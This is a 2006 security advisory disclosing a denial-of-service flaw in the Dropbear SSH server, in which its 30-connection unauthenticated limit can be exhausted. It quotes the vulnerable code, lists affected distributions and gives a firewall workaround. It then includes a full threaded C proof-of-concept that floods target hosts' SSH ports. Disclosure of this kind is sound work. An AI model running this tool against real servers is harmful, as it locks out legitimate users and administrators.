Dropbear SSH server Denial of Service
Credits: Pablo Fernandez
March 7th, 2006
I. BACKGROUND
Dropbear is a relatively small SSH 2 server and client. It runs on a
variety of POSIX-based platforms. Dropbear is open source software,
distributed under a MIT-style license. Dropbear is particularly useful
for "embedded"-type Linux (or other Unix) systems, such as wireless
routers.
More information is available at
http://matt.ucc.asn.au/dropbear/dropbear.html
II. DESCRIPTION
Denial of service is possible and could be trivialy launched by a remote
attacker.
The vulnerability specifically exists due to a design error in the
authorization-pending connections code. By default and as a #define of
the MAX_UNAUTH_CLIENTS constant, the SSH server allows 30
authorization-pending connections, after connection 31, incoming sockets
are close()d immediatly.
Vulnerable code is in svr-main.c
/* check for max number of connections not authorised */
for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
if (childpipes[j] < 0) {
break;
}
}
if (j == MAX_UNAUTH_CLIENTS) {
/* no free connections */
/* TODO - possibly log, though this would be an easy way
* to fill logs/disk */
close(childsock);
continue;
}
III. ANALYSIS
Remote attack of this vulnerability is trivial. This is specially
problematic if the administrator can't login due to the attack and can't
at least blacklist the attacker, restart the service or undertake other
actions.
IV. DETECTION
All versions (up to and including current 0.47 version) are vulnerable.
The following distributions are known to use or package Dropbear:
* LEAF Bering uClibc - a small Linux firewall/network applicance
distribution.
* NetBSD Packages Collection
* Debian
* FreeBSD Ports
* Gentoo Packages
* OpenWRT - a very nice distro for WRT54G wireless routers (and
others).
* FREESCO is is a single floppy NAT/firewall router/server.
* Bent Linux - a uClibc based Linux distribution, statically
linked cpio.bz2 packages (should work on any distro)
* fli4l - a one-disk-router Linux distribution
* OpenZaurus - custom Linux for the Sharp Zaurus
* floppyfw - a single floppy firewall Linux distribution
* ttylinux - Linux to fit in 4 megabytes of disk space and run on
386es, as an internet terminal
* Sisela - single floppy Linux router/wireless AP distro
* gumstix - tiny embedded Linux boards
* OpenSimpad - Linux for the Siemans SIMpad, packages here
upgrade for Linksys WiFi routers
* Slackmatic
* Coyote Linux - a single floppy firewall
* Trinux - a lightweight Linux security toolkit
* Familiar ipkg - for handhelds
* Source Mage - a distribution of GNU/Linux, Dropbear is available
as a spell.
* Netcomm NB5 ADSL router - this runs Dropbear out of the box.
* Dreambox linux-based DVB recorder has Dropbear on the default
firmware.
* kboot - a proof-of-concept Linux boot loader.
V. WORKAROUND
Administrators running dropbear should wait for a fix from the vendor.
In the mean time, firewalling the SSH server allowing incoming
connections just from trusted sources is adviced.
VI. VENDOR RESPONSE
The vendor has been notified and a solution is under development.
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
30/01/2006 Initial vendor notification
07/03/2006 Public disclosure
IX. CREDIT
Pablo Fernandez <pablo at littleQ.net> is credited with this discovery.
--
Pablo Fernandez Lopez
http://www.littleQ.net/
GPG: http://www.littleQ.net/pablo.asc
Fingerprint: 14A0 8343 E8FB E940 59E3 F7BB C347 869D DBB9 337F
/**
* dropbear-PoC.c -- Probe of Concept, DoS Dropbear SSH server
*
* Author: Pablo Fernandez <pablo at littleQ.net>
*
* gcc dropbear-PoC.c -o dropbear-PoC -lpthread
* ./dropbear-PoC -v 192.168.0.1
*
**/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
***************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define MAX_SOCKS 0xfff
#define PORT 22
#define TIMEOUT_IN_MSECS 5000 /* 5 seconds... */
struct data {
int max_unauth_clients;
int port;
int verbose;
char *host;
};
void show_help (const char *name)
{
fprintf(stderr, "Usage %s [OPTIONS] host1 [hostN...]\n"
"\n"
"Options:\n"
"\t--help, -h - This help\n"
"\t--port, -p [PORT] - Port to connect to
(defaults to %d)\n"
"\t--verbose, -v - Verbose level (can
be used multiple times)\n"
"\n"
"Note that hosts should be specified using IP
addresses, not hostnames\n",
name, PORT);
exit(1);
}
void *DoS (void *data)
{
struct data *d;
struct sockaddr_in sa;
int sock;
int killed = 0;
struct pollfd fd;
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
int retval;
int i = 0;
d = (struct data*) data;
if (d->verbose > 1)
printf("[*] Target: %s\n", d->host);
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(d->host);
sa.sin_port = htons(d->port);
while (1) {
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
fprintf(stderr, "[!] Unable to create socket\n");
break;
}
if (connect(sock, (struct sockaddr*) &sa, sizeof(sa)) < 0) {
fprintf(stderr, "[!] %s: Unable to connect\n", d->host);
break;
}
memset(&fd, 0, sizeof(struct pollfd));
fd.fd = sock;
fd.events = POLLIN;
if ((retval = poll(&fd, 2, TIMEOUT_IN_MSECS)) < 0) {
perror("poll");
return NULL;
}
if (fd.revents & POLLIN) {
char buf[512];
memset(buf, 0, sizeof(buf));
read(sock, &buf, sizeof(buf));
if (buf[0] != 0) {
if (killed) {
if (d->verbose > 0)
printf("[!] %s is back up\n",
d->host);
} else if (d->verbose > 1)
printf("[+] %s: connected %2d, %d\n",
d->host, i++, fd.revents);
killed = 0;
} else
goto err;
} else if (fd.revents & (POLLERR | POLLHUP)) {
err:
if (!killed && d->verbose > 0)
printf("[+] %s has been DoSified\n", d->host);
killed = 1;
}
if (killed)
sleep(5);
}
return NULL;
}
int main (int argc, char **argv)
{
int port = PORT;
int verbose = 0;
int opt;
char *host;
pthread_t *threads = NULL;
int targets = 0;
int i;
struct data *d;
printf("\n");
printf("DropBear SSH Server DoS PoC\n");
printf(" -- by Pablo Fernandez <pablo at littleQ.net>\n\n");
while (1) {
static struct option options[] = {
{ "help", 0, 0, 'h' },
{ "port", 1, 0, 'p' },
{ "verbose", 0, 0, 'v' },
{ 0, 0, 0, 0 }
};
int a;
if ((opt = getopt_long(argc, argv, "hp:v", options, &a)) < 0)
break;
switch (opt) {
default:
case 'h':
show_help(argv[0]);
break;
case 'p':
port = atoi(optarg);
break;
case 'v':
verbose++;
break;
}
}
if (optind >= argc) {
fprintf(stderr, "\nError: Host not specified\n\n");
show_help(argv[0]);
return 0;
}
targets = argc - optind;
if ((threads = (pthread_t*) malloc(targets * sizeof(pthread_t))) < 0) {
perror("malloc");
return 1;
}
if (verbose > 2)
printf("[*] %d targets\n", targets);
for (i = 0; optind < argc; i++) {
host = argv[optind++];
d = (struct data*) malloc(sizeof(struct data));
d->port = port;
d->verbose = verbose;
d->host = strdup(host);
pthread_create(&(threads[i]), NULL, DoS, d);
}
for (i = 0; i < targets; i++) {
pthread_join(threads[i], NULL);
}
return 0;
}
Attachment:
signature.asc
Description: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada digitalmente